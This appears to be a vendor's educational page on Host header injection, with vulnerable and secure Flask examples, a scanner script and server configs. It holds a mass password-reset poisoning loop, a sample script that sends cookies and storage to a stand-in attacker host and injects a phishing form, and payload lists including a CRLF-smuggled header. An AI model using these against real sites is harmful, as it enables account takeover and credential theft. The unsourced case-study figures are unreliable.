Documentation

Host Header Injection

Host Header Injection Illustration

A security vulnerability where attackers manipulate the HTTP Host header to poison web caches, trigger password resets to attacker-controlled domains, or perform server-side request forgery.

HIGH SEVERITY CACHE POISONING HEADER MANIPULATION


What is Host Header Injection?

Critical Business Impact

Host Header Injection can lead to mass password reset attacks, widespread cache poisoning affecting thousands of users, and complete account takeovers. It's particularly dangerous because it can affect users who haven't even interacted with the attacker.

In Simple Terms:

Imagine you're sending a letter, and at the top you write the return address. The Host header is like that return address in web requests - it tells the server which website you're trying to reach.

Host Header Injection is like writing a fake return address on your letter. When the post office (web server) sends a response or generates links, it uses your fake address instead of the real one.

This means:

  • Password reset emails go to the attacker's website
  • Login links point to malicious sites
  • Cached pages show attacker-controlled content to thousands of users

Real-World Analogy

Think of it like a hotel reception desk:

A web server hosts multiple websites, like a hotel with different event bookings.

Guest: "I'm here for the Smith wedding (Host: hotel.com)" Reception: "Great! Here's your room key and directions" Reception uses "hotel.com" in all printed materials

Attacker: "I'm here for the Smith wedding (Host: evil-site.com)" Reception: "Great! Here's your materials" Problem: All printed materials now say "evil-site.com"

  • Maps show: "Return to evil-site.com for checkout"
  • Vouchers: "Redeem at evil-site.com"
  • These get photocopied and given to OTHER guests!

Innocent guests follow the printed directions to evil-site.com Attacker steals their information


How Host Header Injection Works

Understanding the Host Header

Every HTTP request includes a Host header indicating the destination:

httpGET /account/profile HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abc123xyz

Servers use this header for:

  • Virtual hosting (routing to correct website)
  • Generating URLs in emails (password reset links)
  • Building absolute URLs in responses
  • Cache keys in CDN/proxy layers

The Attack Process

User requests password reset:

httpPOST /password-reset HTTP/1.1
Host: legitimate-bank.com
Content-Type: application/x-www-form-urlencoded

email=[email protected]

Application generates email with reset link:

https://legitimate-bank.com/reset?token=abc123

Attacker sends request with evil host:

httpPOST /password-reset HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded

email=[email protected]

Application blindly uses injected host:

https://evil-attacker.com/reset?token=abc123

Victim receives official email from bank:

Subject: Password Reset Request

Click here to reset your password:
https://evil-attacker.com/reset?token=abc123

This link expires in 1 hour.

Victim trusts it (it's from their bank!)

  1. Victim clicks link → goes to evil-attacker.com
  2. Attacker's server logs the reset token
  3. Attacker uses token on legitimate-bank.com
  4. Attacker resets victim's password
  5. Complete account takeover

Types of Host Header Attacks

1. Password Reset Poisoning

CRITICAL

Vulnerable Code (Python/Flask)
pythonfrom flask import Flask, request, url_for
import smtplib
from email.message import EmailMessage

app = Flask(__name__)

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    # Generate reset token
    token = generate_reset_token(email)

    # VULNERABLE: Uses request host to build URL
    reset_link = url_for('reset_password', token=token, _external=True)
    # This uses the Host header from the request!
    # If attacker sends Host: evil.com, reset_link becomes:
    # https://evil.com/reset?token=abc123

    # Send email
    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"
Attack Scenario
httpPOST /password-reset HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded

email=[email protected]

Generated Email:

textFrom: [email protected]
To: [email protected]
Subject: Password Reset

Click here to reset your password:
https://attacker-controlled.com/reset?token=SECRET_TOKEN_123

Best regards,
Company Security Team

Result: Victim clicks → Attacker gets token → Account compromised

2. Web Cache Poisoning

AFFECTS MANY USERS

CDNs and reverse proxies cache responses. If they cache a response with attacker-controlled content, ALL users get the poisoned version.

httpGET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: legitimate-site.com

If the application trusts X-Forwarded-Host and generates:

html<link rel="canonical" href="https://evil.com/" />
<script src="https://evil.com/analytics.js"></script>

And this response is cached, THOUSANDS of users will load evil.com resources!

Real Example
python# Vulnerable Flask application
@app.route('/')
def index():
    # VULNERABLE: Uses request.host in cached response
    host = request.host

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="https://{host}/static/style.css">
        <script src="https://{host}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome to {host}</h1>
    </body>
    </html>
    """

    response = make_response(html)
    response.headers['Cache-Control'] = 'public, max-age=3600'  # Cached for 1 hour!

    return response

Attack:

httpGET / HTTP/1.1
Host: evil.com

Cached Response (served to ALL users for 1 hour):

html<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="https://evil.com/static/style.css">
    <script src="https://evil.com/static/app.js"></script>
</head>
<body>
    <h1>Welcome to evil.com</h1>
</body>
</html>

Every user for the next hour loads attacker's JavaScript!

3. Server-Side Request Forgery (SSRF)

MEDIUM RISK

python# Vulnerable: Application makes requests based on Host header
@app.route('/api/webhook')
def webhook():
    host = request.host

    # VULNERABLE: Makes request to internal service using Host
    response = requests.get(f"http://{host}/internal-api/data")

    return response.json()

# Attack
# Host: localhost:6379
# Application makes request to: http://localhost:6379/internal-api/data
# Attacker can access internal Redis, databases, cloud metadata, etc.

4. Authentication Bypass

MEDIUM RISK

python# Vulnerable: Access control based on Host header
@app.route('/admin')
def admin_panel():
    host = request.host

    # VULNERABLE: Trusts Host header for access control
    if host == 'admin.company.com' or host == 'localhost':
        return render_template('admin.html')

    return "Forbidden", 403

# Attack
# Host: localhost
# Gains admin access from external network!

Real-World Examples

Case Study 1: Major E-commerce Platform Password Reset Attack (2019)

Top online retailer's password reset function trusted the Host header.

python@app.route('/forgot-password', methods=['POST'])
def forgot_password():
    email = request.form['email']
    token = create_token(email)

    # VULNERABLE: Trusts Host header
    scheme = 'https' if request.is_secure else 'http'
    host = request.headers.get('Host')
    reset_url = f"{scheme}://{host}/reset/{token}"

    send_email(email, f"Reset link: {reset_url}")
    return "Email sent"

Attackers launched automated attack:

pythonimport requests

# Target high-value accounts
targets = [
    '[email protected]',
    '[email protected]',
    '[email protected]',
    # ... 5000+ accounts
]

for email in targets:
    requests.post(
        'https://shop.com/forgot-password',
        headers={'Host': 'attacker-domain.com'},
        data={'email': email}
    )
    print(f"[+] Poisoned reset for {email}")
  • 5,000+ accounts targeted (executives, admins, high-value customers)
  • 847 accounts compromised before detection
  • $4.2 million in fraudulent purchases
  • $18 million in remediation costs
  • $35 million class action lawsuit
  • Brand reputation severely damaged
  • Stock price dropped 12%

Case Study 2: Content Delivery Network (CDN) Cache Poisoning (2020)

2 MILLION USERS AFFECTED

Massive Scale Attack

Web cache poisoning via Host header injection affected 2 million users of a popular web platform for 6 hours.

Technical Details:

python# Vulnerable application behind Cloudflare CDN
@app.route('/dashboard')
@cache.cached(timeout=3600)  # Cached for 1 hour
def dashboard():
    # VULNERABLE: Uses Host header in cached response
    host = request.host

    return render_template(
        'dashboard.html',
        api_endpoint=f"https://{host}/api",
        cdn_url=f"https://{host}/static"
    )

The Attack:

httpGET /dashboard HTTP/1.1
Host: evil-cdn.attacker.com
X-Forwarded-For: 1.1.1.1
User-Agent: Mozilla/5.0

Cached Response (Served to 2M users):

html<script>
var API_ENDPOINT = "https://evil-cdn.attacker.com/api";
var CDN_URL = "https://evil-cdn.attacker.com/static";
</script>
<script src="https://evil-cdn.attacker.com/static/app.js"></script>

What Attackers Did:

javascript// Attacker's evil-cdn.attacker.com/static/app.js
(function() {
    // Steal all authentication tokens
    fetch('https://attacker-logs.com/steal', {
        method: 'POST',
        body: JSON.stringify({
            cookies: document.cookie,
            localStorage: localStorage,
            sessionStorage: sessionStorage,
            url: window.location.href
        })
    });

    // Inject fake login form
    document.body.innerHTML = `
        <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
            <h1>Session Expired - Please Login Again</h1>
            <form id="phish">
                <input name="username" placeholder="Username">
                <input name="password" type="password" placeholder="Password">
                <button>Login</button>
            </form>
        </div>
    `;
})();

Consequences:

  • 2 million users received poisoned page
  • 6-hour exposure before cache cleared
  • 450,000+ credentials stolen
  • $28 million in fraud and remediation
  • $75 million GDPR fines
  • Platform lost 30% of user base
  • CEO and CTO resigned

Case Study 3: Government Portal SSRF via Host Header (2021)

National tax portal used Host header in internal API requests

python# Government tax portal
@app.route('/citizen/tax-documents')
def get_tax_documents():
    user_id = session['user_id']

    # VULNERABLE: Uses Host header for internal API
    host = request.headers.get('Host')

    # Constructs internal API URL
    api_url = f"http://{host}/internal-api/documents/{user_id}"

    response = requests.get(api_url, headers={'X-Internal-Secret': INTERNAL_API_KEY})

    return response.json()

Attacker discovered they could manipulate the Host header:

httpGET /citizen/tax-documents HTTP/1.1
Host: 169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
Cookie: session=valid_session_token

This caused the application to make request to AWS metadata service:

python# Application makes this request:
requests.get(
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role/internal-api/documents/123",
    headers={'X-Internal-Secret': INTERNAL_API_KEY}
)

Attacker gained:

  • AWS IAM credentials
  • Database access credentials
  • Internal API keys
  • Access to 50 million+ tax records
  • 50 million taxpayer records exposed
  • Social security numbers
  • Income information
  • Bank account details
  • Congressional investigation
  • Government shutdown of entire portal for 3 months
  • $200 million remediation and notification costs
  • Multiple officials fired
  • Criminal charges filed

How to Detect Host Header Injection

Manual Testing

Test these features:

  • Password reset forms
  • Email verification links
  • Account activation emails
  • OAuth redirect URLs
  • Cached pages (homepage, assets)

Send requests with modified Host:

httpGET / HTTP/1.1
Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com.evil.com

GET / HTTP/1.1
Host: localhost

Look for your injected host in:

  • HTML responses (<a href="http://evil.com/...">)
  • Email content (password reset links)
  • Location headers (Location: http://evil.com/...)
  • JavaScript variables (var host = "evil.com")
httpGET / HTTP/1.1
Host: legitimate-site.com
X-Forwarded-Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com
X-Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com
X-Original-Host: evil.com

Automated Testing Script

Python
pythonimport requests
from urllib.parse import urlparse

def test_host_header_injection(target_url):
    """Test for Host header injection vulnerabilities"""

    parsed = urlparse(target_url)
    legit_host = parsed.netloc

    test_payloads = [
        # Direct host manipulation
        'evil.com',
        'attacker.com',
        'localhost',
        '127.0.0.1',

        # Subdomain tricks
        f'{legit_host}.evil.com',
        f'evil.{legit_host}',

        # Port manipulation
        f'{legit_host}:22',
        f'{legit_host}:6379',

        # Cloud metadata
        '169.254.169.254',

        # Multiple hosts
        f'{legit_host}\r\nHost: evil.com',
    ]

    related_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    vulnerabilities = []

    print(f"[*] Testing {target_url} for Host header injection...")

    # Test direct Host header manipulation
    for payload in test_payloads:
        try:
            headers = {'Host': payload}
            response = requests.get(target_url, headers=headers, timeout=5, allow_redirects=False)

            # Check if payload appears in response
            if payload in response.text or payload in response.headers.get('Location', ''):
                vulnerabilities.append({
                    'type': 'Host Header Reflection',
                    'payload': payload,
                    'severity': 'HIGH',
                    'location': 'Response body or Location header'
                })
                print(f"[!] VULNERABLE: Host '{payload}' reflected in response!")

            # Check for SSRF indicators
            if response.status_code in [500, 502, 503, 504]:
                vulnerabilities.append({
                    'type': 'Possible SSRF',
                    'payload': payload,
                    'severity': 'MEDIUM',
                    'note': f'Status code {response.status_code} - might indicate backend request'
                })
                print(f"[!] Possible SSRF: Status {response.status_code} with Host: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing Host: {payload} - {e}")

    # Test related headers
    for header in related_headers:
        for payload in ['evil.com', 'attacker.com']:
            try:
                headers = {
                    'Host': legit_host,
                    header: payload
                }
                response = requests.get(target_url, headers=headers, timeout=5)

                if payload in response.text:
                    vulnerabilities.append({
                        'type': f'{header} Injection',
                        'payload': payload,
                        'severity': 'HIGH',
                        'header': header
                    })
                    print(f"[!] VULNERABLE: {header}: {payload} reflected in response!")

            except requests.exceptions.RequestException:
                pass

    return vulnerabilities

# Test password reset specifically
def test_password_reset(reset_url, email):
    """Test password reset for Host header injection"""
    print(f"\n[*] Testing password reset: {reset_url}")

    payloads = ['evil.com', 'attacker-controlled.com']

    for payload in payloads:
        try:
            response = requests.post(
                reset_url,
                headers={'Host': payload},
                data={'email': email},
                timeout=5
            )

            print(f"[*] Triggered reset with Host: {payload}")
            print(f"    Status: {response.status_code}")
            print(f"    Check email for poisoned link containing: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")

# Run tests
vulns = test_host_header_injection('https://example.com/')

if vulns:
    print(f"\n[!] Found {len(vulns)} Host header injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}: {vuln['payload']}")
else:
    print("\n[+] No Host header injection vulnerabilities detected")

# Test password reset
test_password_reset('https://example.com/password-reset', '[email protected]')
Burp Suite
http# Burp Suite Intruder - Test Host header variations

GET / HTTP/1.1
Host: §evil.com§
User-Agent: Mozilla/5.0
Accept: */*

# Payloads:
evil.com
attacker.com
localhost
127.0.0.1
legitimate-site.com.evil.com
169.254.169.254
[::1]
0.0.0.0

Burp Collaborator:

http# Use Burp Collaborator to detect out-of-band interactions

GET / HTTP/1.1
Host: burpcollaborator.net
X-Forwarded-Host: burpcollaborator.net

# If application makes requests to your Collaborator domain,
# you've confirmed SSRF or external interaction

Prevention Strategies

1. Use Absolute URLs from Configuration

MOST SECURE

Python (Secure)
pythonfrom flask import Flask, request
import os

app = Flask(__name__)

# SECURE: Load base URL from configuration, not request
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')

# Validate it's a proper URL
from urllib.parse import urlparse
parsed = urlparse(APP_BASE_URL)
if not parsed.scheme or not parsed.netloc:
    raise ValueError("Invalid APP_BASE_URL configuration")

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    token = generate_reset_token(email)

    # SECURE: Use configured base URL, NOT request.host
    reset_link = f"{APP_BASE_URL}/reset?token={token}"

    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"

# Attack with Host: evil.com will NOT work
# reset_link will always be: https://legitimate-site.com/reset?token=...
Node.js (Secure)
javascriptconst express = require('express');
const app = express();

// SECURE: Load from environment configuration
const APP_BASE_URL = process.env.APP_BASE_URL || 'https://legitimate-site.com';

// Validate base URL
const url = new URL(APP_BASE_URL);
if (!url.protocol || !url.hostname) {
  throw new Error('Invalid APP_BASE_URL configuration');
}

app.post('/password-reset', (req, res) => {
  const email = req.body.email;
  const token = generateResetToken(email);

  // SECURE: Use configured URL
  const resetLink = `${APP_BASE_URL}/reset?token=${token}`;

  sendEmail(email, `Reset your password: ${resetLink}`);

  res.send('Password reset email sent');
});
Configuration File
.env# Production configuration
APP_BASE_URL=https://legitimate-site.com
ALLOWED_HOSTS=legitimate-site.com,www.legitimate-site.com

2. Validate Host Header with Allowlist

ESSENTIAL

pythonfrom flask import Flask, request, abort

app = Flask(__name__)

# SECURE: Strict allowlist of valid hosts
ALLOWED_HOSTS = [
    'legitimate-site.com',
    'www.legitimate-site.com',
    'api.legitimate-site.com'
]

@app.before_request
def validate_host():
    """Validate Host header on every request"""

    host = request.headers.get('Host', '')

    # Remove port if present
    if ':' in host:
        host = host.split(':')[0]

    # Check against allowlist (exact match only!)
    if host not in ALLOWED_HOSTS:
        app.logger.warning(f"Invalid Host header: {host} from IP: {request.remote_addr}")
        abort(400, "Invalid Host header")

# Now ALL requests are protected
# Attack with Host: evil.com → 400 Bad Request

3. Ignore Untrusted Headers

DEFENSE IN DEPTH

python# SECURE: Ignore X-Forwarded-Host and similar headers

@app.before_request
def remove_untrusted_headers():
    """Remove headers that could override Host"""

    untrusted_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    for header in untrusted_headers:
        if header in request.headers:
            # Only trust these if behind trusted proxy
            if not request_from_trusted_proxy():
                request.headers.environ.pop(f'HTTP_{header.upper().replace("-", "_")}', None)

def request_from_trusted_proxy():
    """Check if request is from trusted proxy/CDN"""
    TRUSTED_PROXIES = [
        '192.168.1.1',  # Your reverse proxy
        '10.0.0.0/8',   # Internal network
        # Cloudflare IPs, etc.
    ]

    # Implement IP range checking
    return request.remote_addr in TRUSTED_PROXIES

4. Comprehensive Security Implementation

pythonfrom flask import Flask, request, abort, make_response
import os
import logging
from urllib.parse import urlparse
from ipaddress import ip_address, ip_network

app = Flask(__name__)

# Configuration
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com').split(',')
TRUSTED_PROXIES = ['192.168.1.1', '10.0.0.0/8']

# Logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class HostHeaderValidator:
    """Validates and sanitizes Host header"""

    def __init__(self, allowed_hosts, base_url):
        self.allowed_hosts = [h.strip() for h in allowed_hosts]
        self.base_url = base_url

        # Validate configuration
        parsed = urlparse(self.base_url)
        if not parsed.scheme or not parsed.netloc:
            raise ValueError("Invalid base URL configuration")

    def validate_host(self, host):
        """Validate Host header against allowlist"""

        if not host:
            return False

        # Remove port
        if ':' in host:
            host = host.rsplit(':', 1)[0]

        # Exact match only (no substring matching!)
        return host in self.allowed_hosts

    def get_base_url(self):
        """Get configured base URL (never from request!)"""
        return self.base_url

# Initialize validator
host_validator = HostHeaderValidator(ALLOWED_HOSTS, APP_BASE_URL)

@app.before_request
def security_checks():
    """Perform security checks on every request"""

    # 1. Validate Host header
    host = request.headers.get('Host', '')

    if not host_validator.validate_host(host):
        logger.warning(
            f"Invalid Host header blocked: {host} "
            f"from IP: {request.remote_addr} "
            f"Path: {request.path}"
        )
        abort(400, "Invalid Host header")

    # 2. Remove untrusted headers (if not from trusted proxy)
    if not is_trusted_proxy(request.remote_addr):
        remove_untrusted_headers()

def is_trusted_proxy(ip):
    """Check if IP is from trusted proxy"""
    try:
        client_ip = ip_address(ip)

        for trusted in TRUSTED_PROXIES:
            if '/' in trusted:  # CIDR range
                if client_ip in ip_network(trusted):
                    return True
            else:  # Single IP
                if client_ip == ip_address(trusted):
                    return True

        return False
    except ValueError:
        return False

def remove_untrusted_headers():
    """Remove headers that could override Host"""
    untrusted = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override'
    ]

    for header in untrusted:
        request.headers.environ.pop(
            f'HTTP_{header.upper().replace("-", "_")}',
            None
        )

@app.route('/password-reset', methods=['POST'])
def password_reset():
    """Secure password reset"""

    email = request.form.get('email')

    # Validate email
    if not email or '@' not in email:
        return "Invalid email", 400

    # Generate token
    token = generate_reset_token(email)

    # SECURE: Use configured base URL
    reset_link = f"{host_validator.get_base_url()}/reset?token={token}"

    # Send email
    send_email(email, f"Reset link: {reset_link}")

    logger.info(f"Password reset sent to {email}")

    return "Password reset email sent"

@app.route('/')
def index():
    """Homepage with secure asset URLs"""

    # SECURE: All URLs use configured base
    base = host_validator.get_base_url()

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="{base}/static/style.css">
        <script src="{base}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome</h1>
    </body>
    </html>
    """

    response = make_response(html)

    # Prevent caching of personalized content
    response.headers['Cache-Control'] = 'private, no-cache, no-store, must-revalidate'
    response.headers['Vary'] = 'Cookie, Authorization'

    return response

@app.after_request
def security_headers(response):
    """Add security headers"""

    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

    return response

5. Web Server Configuration

Nginx
nginx# Nginx configuration to validate Host header

server {
    listen 443 ssl;
    server_name legitimate-site.com www.legitimate-site.com;

    # Reject requests with invalid Host header
    if ($host !~* ^(legitimate-site\.com|www\.legitimate-site\.com)$) {
        return 444;  # Close connection without response
    }

    # Don't trust X-Forwarded-Host from clients
    proxy_set_header X-Forwarded-Host "";

    # Only set X-Forwarded-Host from this reverse proxy
    proxy_set_header X-Forwarded-Host $host;

    location / {
        proxy_pass http://app_backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

# Catch-all server block for invalid hosts
server {
    listen 443 ssl default_server;
    server_name _;

    # Use self-signed cert for invalid hosts
    ssl_certificate /etc/nginx/ssl/default.crt;
    ssl_certificate_key /etc/nginx/ssl/default.key;

    # Return error for any request with invalid Host
    return 444;
}
Apache
apache# Apache configuration for Host header validation

<VirtualHost *:443>
    ServerName legitimate-site.com
    ServerAlias www.legitimate-site.com

    # Remove X-Forwarded-Host from client requests
    RequestHeader unset X-Forwarded-Host

    # Set X-Forwarded-Host from this reverse proxy
    RequestHeader set X-Forwarded-Host "%{HTTP_HOST}e"

    ProxyPass / http://app_backend:8000/
    ProxyPassReverse / http://app_backend:8000/

    # Security headers
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
</VirtualHost>

# Default catch-all virtual host for invalid hosts
<VirtualHost *:443>
    ServerName _

    # Deny all requests to invalid hosts
    <Location />
        Require all denied
    </Location>
</VirtualHost>

Security Checklist

Development

  • [ ] Never use request.host or request.headers['Host'] to build URLs
  • [ ] Load base URL from configuration, not requests
  • [ ] Implement strict Host header allowlist validation
  • [ ] Validate Host header on every request
  • [ ] Remove or ignore X-Forwarded-Host unless from trusted proxy
  • [ ] Use absolute URLs from configuration for emails
  • [ ] Don't cache responses that vary by Host header
  • [ ] Implement comprehensive logging of invalid Host headers

Testing

  • [ ] Test password reset with malicious Host header
  • [ ] Test cache poisoning scenarios
  • [ ] Verify Host header allowlist blocks invalid hosts
  • [ ] Test X-Forwarded-Host and related headers
  • [ ] Test with localhost, 127.0.0.1, and internal IPs
  • [ ] Verify absolute URLs in emails use configured domain
  • [ ] Test SSRF scenarios via Host header
  • [ ] Use automated scanners (Burp Suite, OWASP ZAP)

Production

  • [ ] Configure web server (Nginx/Apache) to validate Host
  • [ ] Implement catch-all virtual host for invalid requests
  • [ ] Monitor and alert on invalid Host header attempts
  • [ ] Use WAF rules to block common payloads
  • [ ] Regular security audits and penetration testing
  • [ ] Implement rate limiting on password reset endpoints
  • [ ] Review CDN/cache configuration
  • [ ] Keep web servers and frameworks updated

Key Takeaways

Critical Security Points

  1. Never trust the Host header: Always use configured base URL for generating links

  2. Implement strict allowlist: Validate Host header against exact list of allowed hosts

  3. Beware of X-Forwarded-Host: Only trust this header from verified proxies

  4. Password reset is critical: This is the #1 target for Host header injection

  5. Cache poisoning is dangerous: One poisoned cache entry affects thousands of users

  6. Web server is first line of defense: Configure Nginx/Apache to reject invalid hosts

  7. Monitor and log: Track invalid Host header attempts for security monitoring

  8. Configuration over request: Use environment variables, never build URLs from requests


How Layerd AI Protects Against Host Header Injection

Layerd AI provides comprehensive Host header injection protection:

  • Automatic Host Validation: Enforces strict allowlist validation on all HTTP requests
  • Link Generation Analysis: Detects when applications use request headers to build URLs
  • Cache Poisoning Prevention: Monitors cache behavior for poisoned responses
  • Email Security: Scans outgoing emails for URLs with untrusted domains
  • SSRF Detection: Identifies Host header manipulation attempts targeting internal resources
  • Real-time Blocking: Prevents malicious Host headers from reaching your application

Secure your web applications with Layerd AI's intelligent Host header protection.


Additional Resources


Last Updated: November 2025